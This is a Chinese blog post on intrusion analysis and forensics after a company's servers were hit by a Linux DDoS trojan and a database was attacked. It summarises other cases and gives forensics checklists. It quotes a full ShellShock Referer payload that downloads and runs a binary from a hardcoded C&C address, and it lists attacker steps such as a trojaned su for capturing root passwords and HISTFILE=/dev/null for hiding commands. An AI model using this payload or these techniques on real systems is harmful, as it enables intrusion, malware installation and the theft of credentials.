When it comes to intrusion analysis and forensics - r00tgrok
以下内容的出现可以追溯到一个发生在互联网的安全事件：
Z公司遭受某种攻击，服务器上被植入了Linux DDOS木马，部分系统命令入ls遭替换，攻击者已经获得该服务器root权限；
影响更恶劣的是，连接生产系统的某台数据库服务器遭到攻击，部分数据被删除，好在通过备份数据及时得到恢复，不过现场已被破坏。
先撇开木马不谈，数据库被攻击首先让人联想到的是SQL注入，由于现场被破坏，数据库本身也没有开审计，加上其他种种原因，已无法觅得具体攻击时间和操作。
一段悲伤的故事就这么开始了，就像行走在黑暗中遭到攻击，却不知道攻击来自哪里，处境被动。
前端服务器采用Nginx＋Tomcat分层架构，按说要溯源攻击只能从Web服务器的日志着手了。
情况简单介绍：
1. 前端请求都由Nginx处理，Tomcat日志对于攻击事件的分析并没有什么作用（但还是在上面花了不少时间）。
2. Nginx记录了GET、POST甚至HEAD请求，但未记录POST数据，因此如果攻击数据来自POST，日志无法提供帮助。
3. 从Nginx的日志能发现SQL注入、XSS攻击的请求，User-Agent为googlebot、SQLmap，明显的扫描操作；返回状态码包括301，403，404，乍看之下联合查询、子查询甚至精确到了表名、列数，但这些请求每天都有，而且针对数据库是Mysql。
4. 从这些日志中无法发现有用信息，在这次的入侵分析中还存在其他问题：
a. 现场被破坏
b. 攻击时间范围无法确定
c. 运维不知道哪些服务器连接哪些数据库，没法帮助缩小分析范围或提供其他有价值信息
d. 临时连到服务器上，只能通过grep、awk等工具进行关键字匹配搜索，多台服务器（每台每天的日志信息大小10G数量级）手工分析效率低下
e. 知易行难，缺乏经验导致未能尽快取得有效进展；A公司缺乏负责处理安全事件的专员，在沟通协商方面造成了影响
f. 对其网站花了点时间进行安全测试，并未发现明显安全问题（包括注入点），同样花费了时间却未取得进展。
这种毫无进展的情况是让人很受挫的，后来考虑从木马入手，稍微有所发现，这个等会再谈。
脑补了一下入侵分析和入侵取证方面的知识，发现相关资料并不多，如下两段内容具有相当的借鉴和参考意义：
（1）. 反入侵案例
链接： https://www.91ri.org/155.html
说明：
1. IDS警报，Apache受到攻击，来源IP仅开放22、80端口，推测是作为跳板的Web服务器
2. www.myipneighbors.com查该IP对应的域名，google搜索inurl:domain.com，逐个页面检查
3. IP对应域名太多，攻击手段表明再寻找RFI，如果是跳板服务器则很可能也是通过RFI得手
4. 将搜集到的URL放入文本中，通过程序来检测这些链接
5. 找到存在RFI且能执行php代码和系统命令的
6. 利用RFI上传shell或nc回连
7. 利用shell获取到普通用户的用户名/密码
8. 无提权0day/nday，观察history得知管理员常通过该账户su到root
9. 替换su获取root密码，在获取到密码后链接到真实的su，同时清除痕迹
10. HISTFILE=/dev/null避免命令被记录；access_log auth.log
11. 服务器群 /root/.ssh 记录公钥、私钥文件 scp复制文件
（2）. 入侵取证案例
链接：http://blog.chinaunix.net/uid-26893610-id-4150880.html
说明：
1. 检查步骤
a.服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间/中间有没有经过进行重新安装——>服务器维护情况—— >服务器上面安装的软件版本信息
b.日志检查——IDS日志信息/IIS日志信息/系统日志信息
c.网站代码审查——是否存在一句话木马，源代码上是否存在恶意代码插入
d.杀毒软件版本更新情况——是否是最新版本，配置的是否合理，配套的监视是否全部打开
e.数据恢复——>利用专用数据恢复软件进行数据恢复，恢复一些被删除的日志信息和系统信息，曾经安装过的文件操作信息。
f.提取可疑文件（病毒、木马、后门、恶意广告插件）——在系统文件目录利用第三方或者自开发软件，对可疑文件进行提取并进行深度分析
2. 对原始数据恢复：Datarecover恢复被删除文件,希望找到木马、病毒
3. 手工分析可疑软件：sethc..exe, 真实大小应为27kb
4. 防火墙查看网络连接，查看日志
5. GET会被记录，系统级后面可以用冰刃（IceSword）、SREng(System Repair Engineer)分析可疑文件
6. 通过日志查找Webshell；是否有克隆账户（注册表sam文件是否有相同fv）；系统安装日志；IIS访问日志；首页源代码
其他包括日志分析、取证的文章这里不再提及，感兴趣的可以自行搜索。
这里再提几个主意事项：
（1）系统被入侵后，系统命令不再可靠 ，find, alias, ls, ps ,lsof, ll, netstat等可能已被替换（Z公司遇到的木马替换了ls，lsof，ps）
（2） 可取证的日志包含如下特征：可靠性、可用性、保密性、完整性、不可抵赖性、可控性 ，若做不到，就无法作为数字证明；日志需要实时备份，各个环节存日志
其余不完善之处，以后遇到会更新并补充
接下来是关于木马的内容，由于这个木马并不是高深的rootkit，所以不需利用chrootkit或者其他高明手段就可以检测到其备份，找到系统中的其他样本。
攻击者走的是简单粗暴路线，事情的确简化不少。
关于rootkit的分析，可以看一下 Linux下基于内存分析的Rootkit检测方法 ，另外在使用chrootkit等工具时也不要对其产生过多依赖，原因可以参考：
运行这个木马，使用Wireshark抓包，很快就看到了明显的"蛛丝马迹"，一些细节这里不再赘述
http://zone.wooyun.org/content/21251有简单说明，也由此引出kibana这个日志分析工具
http://www.cnblogs.com/buzzlight/p/logstash\_elasticsearch\_kibana\_log.html一文对其的介绍不错
由于之前无数次与恶意软件擦身而过——是的，它很有意思，但跟我有什么关系呢，加上此次的恶意软件样本已经有现成的分析 （http://cybertracker.malwarehunterteam.com/malicious/296 ），因此关于该木马也不再多做说明，只简要描述下从中得到的信息：
来自中国大陆的DDOS木马，编译于2014年11月，约ShellShock曝光两月后（利用的正是这一漏洞，远程执行任意代码）。有若干变种，2015年1月已有相关样本被捕获，作为C&C分发端，通过wget从服务器的911端口下载恶意文件并执行，例如：
Referer: () { :; }; /bin/bash -c "rm -rf /tmp/\*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-jgte >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jgte >> /tmp/Run.sh;echo /tmp/China.Z-jgte >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh"
到这里其实都算不上有多少技术含量（当然能否做好入侵分析和取证跟经验有较大关系），不过为此事的后续处理提供了一种新的可能和思路：
数据库被攻击，SQL注入当然只是一只一种可行的方式，其他情况如运维的误操作、前端服务器由于某种原因被控制等都是可能的。
由于几个主要网站无明显安全问题，自然就得从其他角度或方向进行挖掘，虽然这事情目前还没有厘清，是否通过ShellShock控制的服务器也还未确认，起码让我们认识到了预期之外的可能和攻击面，而这也许就是关键突破口。
待续。。。。
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
关于Malware，推荐几个网站：
http://blog.malwaremustdie.org
http://malware-traffic-analysis.net
http://cybertracker.malwarehunterteam.com
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
